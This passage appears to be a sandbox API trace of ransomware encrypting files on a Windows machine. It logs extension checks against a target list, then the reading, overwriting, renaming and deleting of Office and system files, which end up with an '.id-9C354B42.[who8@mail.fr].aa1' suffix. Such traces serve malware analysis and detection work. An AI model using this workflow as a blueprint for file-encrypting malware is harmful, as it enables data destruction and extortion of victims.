(lpString=".xlsx") returned 5 [0224.455] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0224.455] lstrlenW (lpString=".ppt") returned 4 [0224.455] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0224.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0224.455] lstrlenW (lpString=".zip") returned 4 [0224.455] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0224.455] lstrlenW (lpString=".rar") returned 4 [0224.455] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0224.455] lstrlenW (lpString=".bz2") returned 4 [0224.455] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0224.455] lstrlenW (lpString=".7z") returned 3 [0224.455] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0224.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0224.455] lstrlenW (lpString=".dbf") returned 4 [0224.455] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0224.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0224.455] lstrlenW (lpString=".1cd") returned 4 [0224.455] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0224.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0224.455] lstrlenW (lpString=".jpg") returned 4 [0224.456] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0224.456] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0224.456] lstrlenW (lpString="VisiorWW.msi") returned 12 [0224.456] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0224.456] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=12060672) returned 1 [0224.456] CloseHandle (hObject=0x1a0) returned 1 [0224.456] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020 [0224.456] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.456] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0224.457] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0224.457] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0224.457] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0224.457] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0224.532] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0224.532] ReadFile (in: hFile=0x1a0, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0224.549] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0224.549] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0224.549] ReadFile (in: hFile=0x1a0, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0224.733] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.734] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0224.887] SetEndOfFile (hFile=0x1a0) returned 1 [0224.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd3008 [0224.887] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0224.887] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fd3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3008*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.888] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0224.889] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fd3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3008*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0225.152] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0225.152] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fd3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3008*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0225.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd3008 | out: hHeap=0x4f0000) returned 1 [0225.155] CloseHandle (hObject=0x1a0) returned 1 [0225.155] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0225.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0225.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0225.155] lstrlenW (lpString=".doc") returned 4 [0225.155] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0225.155] lstrlenW (lpString=".docx") returned 5 [0225.156] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0225.156] lstrlenW (lpString=".pdf") returned 4 [0225.156] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0225.156] lstrlenW (lpString=".xls") returned 4 [0225.156] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0225.156] lstrlenW (lpString=".xlsx") returned 5 [0225.156] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0225.156] lstrlenW (lpString=".ppt") returned 4 [0225.156] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0225.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0225.156] lstrlenW (lpString=".zip") returned 4 [0225.156] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0225.156] lstrlenW (lpString=".rar") returned 4 [0225.156] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0225.156] lstrlenW (lpString=".bz2") returned 4 [0225.156] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0225.156] lstrlenW (lpString=".7z") returned 3 [0225.156] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0225.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0225.156] lstrlenW (lpString=".dbf") returned 4 [0225.156] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0225.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0225.156] lstrlenW (lpString=".1cd") returned 4 [0225.156] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0225.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0225.191] lstrlenW (lpString=".jpg") returned 4 [0225.191] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0225.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0225.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0225.191] lstrlenW (lpString=".doc") returned 4 [0225.191] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0225.191] lstrlenW (lpString=".docx") returned 5 [0225.191] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0225.191] lstrlenW (lpString=".pdf") returned 4 [0225.191] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0225.191] lstrlenW (lpString=".xls") returned 4 [0225.191] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0225.192] lstrlenW (lpString=".xlsx") returned 5 [0225.192] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0225.192] lstrlenW (lpString=".ppt") returned 4 [0225.192] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0225.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0225.192] lstrlenW (lpString=".zip") returned 4 [0225.192] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0225.192] lstrlenW (lpString=".rar") returned 4 [0225.192] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0225.192] lstrlenW (lpString=".bz2") returned 4 [0225.193] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0225.193] lstrlenW (lpString=".7z") returned 3 [0225.193] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0225.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0225.193] lstrlenW (lpString=".dbf") returned 4 [0225.193] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0225.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0225.193] lstrlenW (lpString=".1cd") returned 4 [0225.193] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0225.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0225.193] lstrlenW (lpString=".jpg") returned 4 [0225.193] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0225.193] lstrcmpiW (lpString1=".DLL", lpString2=".aa1") returned 1 [0225.193] lstrlenW (lpString="EEINTL.DLL") returned 10 [0225.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0225.194] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=64096) returned 1 [0225.194] CloseHandle (hObject=0x1fc) returned 1 [0225.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0225.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0225.195] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.195] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.252] GetLastError () returned 0x0 [0225.252] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xfa60, lpOverlapped=0x0) returned 1 [0225.256] WriteFile (in: hFile=0x228, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xfa70, lpOverlapped=0x0) returned 1 [0225.259] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.259] WriteFile (in: hFile=0x228, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0225.259] SetEndOfFile (hFile=0x228) returned 1 [0225.259] CloseHandle (hObject=0x228) returned 1 [0225.259] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.259] SetEndOfFile (hFile=0x1fc) returned 1 [0225.261] CloseHandle (hObject=0x1fc) returned 1 [0225.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.262] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1 [0225.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0225.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0225.262] lstrlenW (lpString=".doc") returned 4 [0225.262] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0225.262] lstrlenW (lpString=".docx") returned 5 [0225.262] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0225.262] lstrlenW (lpString=".pdf") returned 4 [0225.262] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0225.262] lstrlenW (lpString=".xls") returned 4 [0225.263] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0225.263] lstrlenW (lpString=".xlsx") returned 5 [0225.263] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0225.263] lstrlenW (lpString=".ppt") returned 4 [0225.263] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0225.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0225.263] lstrlenW (lpString=".zip") returned 4 [0225.263] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0225.263] lstrlenW (lpString=".rar") returned 4 [0225.263] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0225.263] lstrlenW (lpString=".bz2") returned 4 [0225.263] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0225.263] lstrlenW (lpString=".7z") returned 3 [0225.263] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0225.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0225.263] lstrlenW (lpString=".dbf") returned 4 [0225.263] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0225.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0225.263] lstrlenW (lpString=".1cd") returned 4 [0225.263] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0225.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0225.264] lstrlenW (lpString=".jpg") returned 4 [0225.264] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0225.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0225.264] lstrlenW (lpString=".doc") returned 4 [0225.264] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0225.264] lstrlenW (lpString=".docx") returned 5 [0225.264] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0225.264] lstrlenW (lpString=".pdf") returned 4 [0225.264] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0225.264] lstrlenW (lpString=".xls") returned 4 [0225.264] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0225.265] lstrlenW (lpString=".xlsx") returned 5 [0225.265] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0225.265] lstrlenW (lpString=".ppt") returned 4 [0225.265] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0225.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0225.265] lstrlenW (lpString=".zip") returned 4 [0225.265] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0225.265] lstrlenW (lpString=".rar") returned 4 [0225.265] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0225.265] lstrlenW (lpString=".bz2") returned 4 [0225.265] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0225.265] lstrlenW (lpString=".7z") returned 3 [0225.265] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0225.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0225.266] lstrlenW (lpString=".dbf") returned 4 [0225.266] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0225.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0225.266] lstrlenW (lpString=".1cd") returned 4 [0225.266] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0225.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0225.266] lstrlenW (lpString=".jpg") returned 4 [0225.266] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.266] lstrcmpiW (lpString1=".CNT", lpString2=".aa1") returned 1 [0225.266] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0225.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0225.301] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2557) returned 1 [0225.301] CloseHandle (hObject=0x1fc) returned 1 [0225.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0225.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0225.302] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.302] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.302] GetLastError () returned 0x0 [0225.302] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x9fd, lpOverlapped=0x0) returned 1 [0225.305] WriteFile (in: hFile=0x228, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0225.306] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.307] WriteFile (in: hFile=0x228, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.307] SetEndOfFile (hFile=0x228) returned 1 [0225.307] CloseHandle (hObject=0x228) returned 1 [0225.307] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.307] SetEndOfFile (hFile=0x1fc) returned 1 [0225.308] CloseHandle (hObject=0x1fc) returned 1 [0225.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.309] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1 [0225.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0225.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0225.309] lstrlenW (lpString=".doc") returned 4 [0225.309] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0225.309] lstrlenW (lpString=".docx") returned 5 [0225.309] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0225.309] lstrlenW (lpString=".pdf") returned 4 [0225.309] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0225.309] lstrlenW (lpString=".xls") returned 4 [0225.309] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0225.309] lstrlenW (lpString=".xlsx") returned 5 [0225.309] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0225.309] lstrlenW (lpString=".ppt") returned 4 [0225.309] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0225.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0225.309] lstrlenW (lpString=".zip") returned 4 [0225.309] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0225.309] lstrlenW (lpString=".rar") returned 4 [0225.310] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0225.310] lstrlenW (lpString=".bz2") returned 4 [0225.310] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0225.310] lstrlenW 